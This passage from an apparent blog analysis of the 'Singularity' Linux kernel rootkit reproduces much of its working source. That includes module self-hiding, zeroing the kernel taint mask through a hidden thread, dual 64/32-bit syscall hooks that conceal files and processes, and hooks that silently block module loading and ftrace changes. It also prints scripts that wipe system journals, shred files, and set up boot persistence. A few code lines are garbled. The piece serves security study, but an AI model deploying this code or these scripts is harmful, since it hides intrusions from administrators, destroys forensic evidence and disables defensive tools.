    mod->sect_attrs = NULL;
}

Module States:

  • MODULE_STATE_LIVE: Fully loaded and operational
  • MODULE_STATE_COMING: Currently being loaded
  • MODULE_STATE_GOING: Being unloaded
  • MODULE_STATE_UNFORMED: Not yet fully built

By setting the state to UNFORMED, we make the module appear as if it never completed initialization. Some introspection tools may skip modules in this state.

Removing sect_attrs: This field points to section attributes (memory layout information). Removing it prevents detailed memory inspection through sysfs attributes.

Full Hiding Function

notrace void module_hide_current(void)
{
    struct module *mod = THIS_MODULE;

    if (hider_state.hidden)
        return;

    hider_state.saved_list_pos = mod->list.prev;
    hider_state.saved_parent   = mod->mkobj.kobj.parent;

    __remove_from_sysfs(mod);
    __remove_from_module_list(mod);
    __sanitize_module_info(mod);

    hider_state.hidden = true;
}

THIS_MODULE is a macro that expands to a pointer to the current module’s struct module. This magic variable is automatically set for all kernel modules.

The hiding process:

  1. Checks if already hidden (idempotent operation)
  2. Saves original list position and sysfs parent (for potential restoration)
  3. Removes from sysfs
  4. Removes from module list
  5. Sanitizes module state
  6. Marks as hidden

imgur

Taint Flag Manipulation

The Linux kernel maintains “taint flags” to track potentially problematic conditions. Loading an out-of-tree kernel module sets taint flags, which appear in logs and can alert administrators to unauthorized kernel modifications.

Understanding Kernel Taint Flags

When you load a module, you can see:

[  123.456789] loading out-of-tree module taints kernel.
[  123.456790] module singularity: module verification failed: signature and/or required key missing - tainting kernel

These warnings set bits in a global variable tainted_mask. Tools can check for this:

# cat /proc/sys/kernel/tainted
1337

Each bit represents a different taint ratio:

  • Bit 0: Proprietary module loaded
  • Bit 12: Out-of-tree module loaded
  • Bit 13: Unsigned module loaded (when signature verification is enforced)
  • And many more…

Taint Flag Reset

Singularity tries to clear these flags to avoid detection:

#define RESET_THREAD_NAME "zer0t"

static struct task_struct *cleaner_thread = NULL;
static unsigned long *taint_mask_ptr = NULL;

static struct kprobe probe_lookup = {
    .symbol_name = "kallsyms_lookup_name"
};

Symbol Resolution via Kprobe

static notrace unsigned long *get_taint_mask_address(void) {
    typedef unsigned long (*lookup_name_fn)(const char *name);
    lookup_name_fn kallsyms_lookup_fn;
    unsigned long *taint_addr = NULL;

    if (register_kprobe(&probe_lookup) < 0)
        return NULL;

    kallsyms_lookup_fn = (lookup_name_fn) probe_lookup.addr;
    unregister_kprobe(&probe_lookup);

    if (kallsyms_lookup_fn)
        taint_addr = (unsigned long *)kallsyms_lookup_fn("tainted_mask");

    return taint_addr;
}

This is the same kprobe technique used in ftrace_helper.c, we temporarily register a kprobe on kallsyms_lookup_name, extract its address, and use it to resolve tainted_mask.

Implementing Taint Reset

static notrace void reset_taint_mask(void) {
    if (taint_mask_ptr && *taint_mask_ptr != 0)
        *taint_mask_ptr = 0;
}

static notrace int zt_thread(void *data) {
    reset_taint_mask();
    return 0;
}

Resetting is straightforward; we simply write 0 to the tainted_mask variable. The thread function returns immediately after resetting, making it a one-shot operation.

Thread-Based Execution

notrace int reset_tainted_init(void) {
    taint_mask_ptr = get_taint_mask_address();
    if (!taint_mask_ptr)
        return -EFAULT;

    cleaner_thread = kthread_run(zt_thread, NULL, RESET_THREAD_NAME);
    if (IS_ERR(cleaner_thread))
        return PTR_ERR(cleaner_thread);

    add_hidden_pid(cleaner_thread->pid);

    return 0;
}

Why use a thread?

  1. Timing: The thread runs briefly after module initialization, ensuring that all taint flags are set before clearing them.

  2. Context: Kernel threads run in process context, which is safer for many operations than module initialization context.

  3. Hiding: We add the thread’s PID to the hidden PID list, making the “zer0t” thread invisible to process enumeration.

  4. Housekeeping: The thread provides a convenient hidden control mechanism that the operator can use for additional housekeeping tasks if needed.

The zer0t thread is added to the hidden PID list immediately upon creation, ensuring that even if an administrator runs ps or top during the brief window when the thread exists, it will not be visible.

That is, as soon as singularity is loaded, it resets tainted, without necessarily having a kernel thread resetting every 5 seconds, this is good because it avoids behavior-based detection, if you write to /proc/sys/kernel/tainted and it still remains as 0, it would raise a lot of suspicion.

imgur

Figure: Hiding from tainted and dmesg


Multi-Architecture Support

One of Singularity’s most important defensive features is its comprehensive support for both the x86_64 and ia32 (32-bit compatibility) syscall interfaces. This dual-architecture approach prevents critical bypass techniques.

The ia32 Compatibility Layer

Modern 64-bit Linux systems maintain compatibility with 32-bit applications through the ia32 compatibility layer. This allows 32-bit binaries to run perfectly on 64-bit kernels. However, these 32-bit applications use a completely separate syscall entry path.

The Problem: If a rootkit only hooks the 64-bit syscall interface (e.g., __x64_sys_read), an forensics can simply use 32-bit tools or compile 32-bit binaries to bypass all hooks entirely. 32-bit syscalls flow through __ia32_sys_* entry points that remain completely unhooked.

Bypass Scenario

Consider an forensics who suspects a rootkit is present:

# Standard 64-bit tools show nothing suspicious
$ ps aux | grep suspicious_process
# (nothing found - process is hidden)

$ ls -la /dev/shm/
# (rootkit files not shown)

# But with a 32-bit binary...
$ file /usr/bin/ps-i386
/usr/bin/ps-i386: ELF 32-bit LSB executable, Intel 80386

$ /usr/bin/ps-i386 aux | grep suspicious_process
root 12345 0.0 0.1 suspicious_process
# (Hidden process is now visible!)

$ ls -i386 -la /dev/shm/
drwxr-xr-x 2 root root singularity/
# (Hidden directory is now visible!)

imgur

Figure: Bypassing KoviD rootkit using 32 bits binary

Without ia32 hooks, the whole hiding mechanism collapses when faced with tools compiled in 32-bit.

Singularity’s Dual Hook Strategy

Singularity installs hooks for both architectures in all critical syscalls:

static struct ftrace_hook hooks[] = {
    // Hooks 64-bit
    HOOK("__x64_sys_read", hook_read, &orig_read),
    HOOK("__x64_sys_getdents64", hook_getdents64, &orig_getdents64),
    HOOK("__x64_sys_openat", hook_openat, &orig_openat),
    HOOK("__x64_sys_chdir", hook_chdir, &orig_chdir),
    HOOK("__x64_sys_readlink", hook_readlink, &orig_readlink),
    
    // Hooks 32-bit
    HOOK("__ia32_sys_read", hook_read_ia32, &orig_read_ia32),
    HOOK("__ia32_sys_getdents64", hook_getdents64_compat, &orig_getdents64_ia32),
    HOOK("__ia32_sys_openat", hook_openat32, &orig_openat32),
    HOOK("__ia32_sys_chdir", hook_chdir32, &orig_chdir32),
    HOOK("__ia32_sys_readlink", hook_readlink32, &orig_readlink32),
};

Register Convention Differences

The ia32 and x86_64 ABIs use different registers for syscall arguments. Hook implementations should account for this:

x86_64 Syscall Convention:

  • rdi (regs->di): 1st argument
  • rsi (regs->si): 2nd argument
  • rdx (regs->dx): 3rd argument
  • r10: 4th argument
  • r8: 5th argument
  • r9: 6th argument

ia32 Syscall Convention:

  • ebx (regs->bx): 1st argument
  • ecx (regs->cx): 2nd argument
  • edx (regs->dx): 3rd argument
  • esi (regs->si): 4th argument
  • edi (regs->di): 5th argument
  • ebp (regs->bp): 6th argument

Example: Implementation of the Read Hook

The read() syscall hooks demonstrate how Singularity handles both architectures:

// 64-bit
static notrace asmlinkage ssize_t hook_read(const struct pt_regs *regs) {
int fd = regs->di; // 1st arg: file descriptor
char __user *user_buf = (char __user *)regs->si; // 2nd arg: buffer
size_t count = regs->dx; // 3rd arg: count

// ... Another logic ...
}

// 32-bit
static notrace asmlinkage ssize_t hook_read_ia32(const struct pt_regs *regs) {
int fd = regs->bx; // 1st arg: file descriptor
char __user *user_buf = (char __user *)regs->cx; // 2nd arg: buffer
size_t count = regs->dx; // 3rd arg: count

// ... The same filter logic...
}

The filtering logic is identical, only the register extraction differs. This pattern repeats in all dual-hooked syscalls.

imgur

Figure: Bypass prevention using 32-bit binaries

Comprehensive Coverage

Singularity implements ia32 hooks for each critical syscall category:

Process Hiding:

  • getdents / getdents64 (directory listing)
  • stat / lstat / statx (file metadata)

Filesystem Hiding:

  • openat (file opening)
  • chdir (directory navigation)
  • readlink / readlinkat (symlink resolution)

Log Sanitization:

  • read (log file filtering)

Privilege Escalation:

  • write (ftrace control file interception)

Module Loading Prevention:

  • init_module / finit_module (blocking additional module loads)

Example: Getdents Compatibility Hook

The getdents hooks show the full pattern:

static notrace asmlinkage long hook_getdents64(const struct pt_regs *regs)
{
    // 64-bit: buffer in rsi (2nd arg)
    long res = orig_getdents64(regs);
    if (res <= 0) return res;
    return filter_directs((void __user *)regs->si, res, true);
}

static notrace asmlinkage long hook_getdents64_compat(const struct pt_regs *regs)
{
    // 32-bit: ebx buffer (1st arg in ia32 convention)
    long res = orig_getdents64_ia32(regs);
    if (res <= 0) return res;
return filter_dirents((void __user *)regs->bx, res, true);
}

Note: The actual register used depends on whether the kernel remaps arguments internally. The code shows regs->bx for the ia32 version, suggesting that the buffer pointer ends up in a different location than the standard ia32 ABI would suggest. This highlights the complexity of compatibility layer hooking.

Write Hook Example

The hook in the write() syscall prevents ftrace from being disabled, and shows another clear example:

static notrace asmlinkage ssize_t hooked_write_common(const struct pt_regs *regs,
                                                     asmlinkage ssize_t (*orig)(const struct pt_regs *),
                                                     bool compat32)
{
    int fd;
    const char __user *user_buf;
    size_t count;

    if (!compat32) {
        // x86_64: di, si, dx
        fd       = regs->di;
        user_buf = (const char __user *)regs->si;
        count    = regs->dx;
    } else {
        // ia32: bx, cx, dx
        fd       = regs->bx;
        user_buf = (const char __user *)regs->cx;
        count    = regs->dx;
    }
    
    // ... lógica de filtragem comum ...
}

static notrace asmlinkage ssize_t hooked_write(const struct pt_regs *regs)
{
    return hooked_write_common(regs, original_write, false);
}

static notrace asmlinkage ssize_t hooked_write32(const struct pt_regs *regs)
{
    return hooked_write_common(regs, original_write32, true);
}

A common implementation function with architecture-specific wrappers appears throughout the Singularity codebase. It reduces code duplication while maintaining correct register handling.

Why This Matters?

The ia32 compatibility layer isn’t just a theoretical concern:

  1. Forensic Tools: Many security tools exist in 32-bit and 64-bit versions. Forensic distributions often include 32-bit binaries for compatibility with older systems.

  2. Custom Binaries: An investigator can easily compile 32-bit versions of standard tools (ps, ls, netstat) to search for rootkits.

  3. Evasion Testing: Security researchers can use 32-bit binaries to test for rootkits.

Anti-Forensic Techniques

Singularity implements several sophisticated anti-forensic measures that go beyond simple hiding. These techniques are designed to hinder analysis and leave minimal traces.

Log Cleaning Scripts

Singularity includes automated log cleaning utilities:

Journal Cleaning (scripts/journal.sh)

#!/bin/bash

if [[ $EUID -ne 0 ]]; then
    echo "Please run this script as root."
    exit 1
fi

echo "[*] Cleaning journal logs..."

journalctl --vacuum-time=1s 2>/dev/null || true
journalctl -k --vacuum-time=1s 2>/dev/null || true
journalctl --rotate --vacuum-time=1s --quiet 2>/dev/null || true

echo "Journal logs cleaned."

What This Does:

  • --vacuum-time=1s: Deletes all journal entries older than 1 second (effectively everything)
  • journalctl -k: Targets kernel message logs specifically
  • --rotate: Forces log rotation before vacuuming
  • 2>/dev/null || true: Suppresses errors and continues even if commands fail

This script removes systemd journal entries that would show:

  • Module load events
  • Kernel taint warnings
  • dmesg output captured by journald
  • Authentication events (depending on journal configuration)

Source Tree Cleanup (scripts/x.sh)

#!/bin/bash

rm -rf .git
rm -rf ftrace
rm -rf include
rm -rf modules
rm -rf scripts
# ... extensive file deletion ...
CD..
sudo find Singularity -type f -exec shred -u {} \; 
rm -rf Singularity

echo "[*] Done! [*]"

Multi-Stage Destruction:

  1. Direct Deletion: Removes directories and files
  2. Shredding: Uses: shred -u to overwrite file contents before deletion
  3. Directory Removal: Clears the parent directory

Why Shredding Matters:

  • Simple rm only removes directory entries; file contents remain on disk
  • shred performs multiple overwrite passes (default 3) with random data
  • -u flag removes the file after shredding

Persistence Mechanisms

The load_and_persistence.sh script implements automatic loading at boot:

# Add to modules-load.d
echo "$MODULE_NAME" > "$CONF_DIR/$MODULE_NAME.conf"

# Update module dependencies
depmod

# Copy module to kernel directory
cp "$KO_FILE" "$MODULE_DIR/$MODULE_NAME.ko"

Persistence Techniques:

  1. Module Load Configuration: Writing to /etc/modules-load.d/ ensures that systemd loads the module at boot time.

  2. Module Dependency Database: depmod updates /lib/modules/$(uname -r)/modules.dep, making the module appear as a legitimate kernel module.

  3. Default Location: Placing the module in /usr/lib/modules/ gives it the appearance of a distribution-provided module.

Anti-Forensic Aspect: The module appears in standard locations and uses standard loading mechanisms, making it blend in with legitimate kernel modules. Investigators must specifically know what to look for.

Prevent Module Loading

Once Singularity is loaded, prevent additional modules from being loaded:

static notrace asmlinkage long hook_init_module(struct file *file, const char *uargs, unsigned long flags) {
    return 0;  // Silently succeed without actually loading
}

static notrace asmlinkage long hook_finit_module(struct file *file, const char *uargs, unsigned long flags) {
    return 0;  // Silently succeed without actually loading
}

Purpose:

  • Prevents security tools from loading kernel modules for detection
  • Blocks defenders from loading anti-rootkit modules
  • Stops other rootkits from loading (competing attackers)

Behavior: Hooks return success (0) without actually loading the module. The caller thinks the module loaded successfully, but nothing happens. This is more subtle than returning an error, which would immediately alert the caller.

Both ABIs Covered:

HOOK("__x64_sys_init_module", hook_init_module, &hooked_init_module),
HOOK("__ia32_sys_init_module", hook_init_module32, &hooked_init_module32),
HOOK("__x64_sys_finit_module", hook_finit_module, &hooked_finit_module),
HOOK("__ia32_sys_finit_module", hook_finit_module32, &hooked_finit_module32),

imgur

Figure: Module loading prevention

Ftrace Manipulation Prevention

Singularity has a feature that involves blocking ftrace from being disabled, to avoid being detected:

static notrace asmlinkage ssize_t hooked_write_common(const struct pt_regs *regs,
                                                     asmlinkage ssize_t (*orig)(const struct pt_regs *),
                                                     bool compat32)
{
    // ... extract arguments ...
    
    const char *name = file->f_path.dentry->d_name.name;

    if (strcmp(name, "ftrace_enabled") == 0 || strcmp(name, "tracing_on") == 0) {
        // Pretends to write succeeded, but doesn't actually write
        return count;
    }
    
    return orig(regs);
}

Target Files:

  • /sys/kernel/debug/tracing/tracing_on: allows you to enable (1) or disable (0) the recording of events in the kernel trace buffer (ftrace)
  • /proc/sys/kernel/ftrace_enabled: Enable (1) /disable (0) ftrace

Effect: Administrators attempting to enable ftrace for debugging or detection will see their commands succeed, but tracing remains disabled. This prevents:

  • Dynamic kernel debugging
  • Performance profiling that can reveal hooks
  • Security tools that use ftrace for monitoring

It also prevents ftrace from being disabled, avoiding detection:

What happens if I try to disable ftrace?:

# cat /proc/sys/kernel/ftrace_enabled
1 (ftrace enabled)
# echo 0 > /proc/sys/kernel/ftrace_enabled (0 = disable ftrace)
# cat /proc/sys/kernel/ftrace_enabled
1

In other words, if you try to disable ftrace, it will always remain at 1 (active).

imgur

Figura: preventing ftrace from being disabled


Conclusion

Singularity represents a major advancement in LKM rootkits for modern Linux, demonstrating sophisticated techniques and an architecture that positions it as one of the most complete rootkits available for research purposes.

Key Innovations:

  • Full dual-architecture support: Prevents bypass via 32-bit binaries
  • Multi-layered hiding: Defense-in-depth across multiple subsystems
  • Comprehensive anti-forensics: Good log sanitization
  • Modular and well-structured code: Facilitates customization and maintenance

For the Research Community

Singularity is not just a rootkit; it is a statement on the current state of the art in Linux kernel post-exploitation and a valuable contribution to the security community. The project is active on GitHub.

Final Words

Singularity is an excellent example of a modern rootkit. It demonstrates deep technical knowledge. Whether you’re a red teamer learning post-exploitation techniques, a blue teamer studying detection vectors, or a student exploring kernel internals, there are valuable lessons here.

The code is open source, well-documented, and actively maintained. It’s a significant contribution to the security body of knowledge, not because it teaches you how to attack, but because it teaches you how to understand. And understanding is the first step to both better attack and better defense.

In the end, it’s always a continuous dialogue between protection and bypass, hardening and evasion, defense and attack. Singularity represents a shift in this conversation: sophisticated, thoughtful, and technically impressive.

Like all good security work, it makes us ask questions:

  • How can we detect this?
  • What does this reveal about system weaknesses?
  • How can we build better?

And these questions, and their answers, advance the entire field.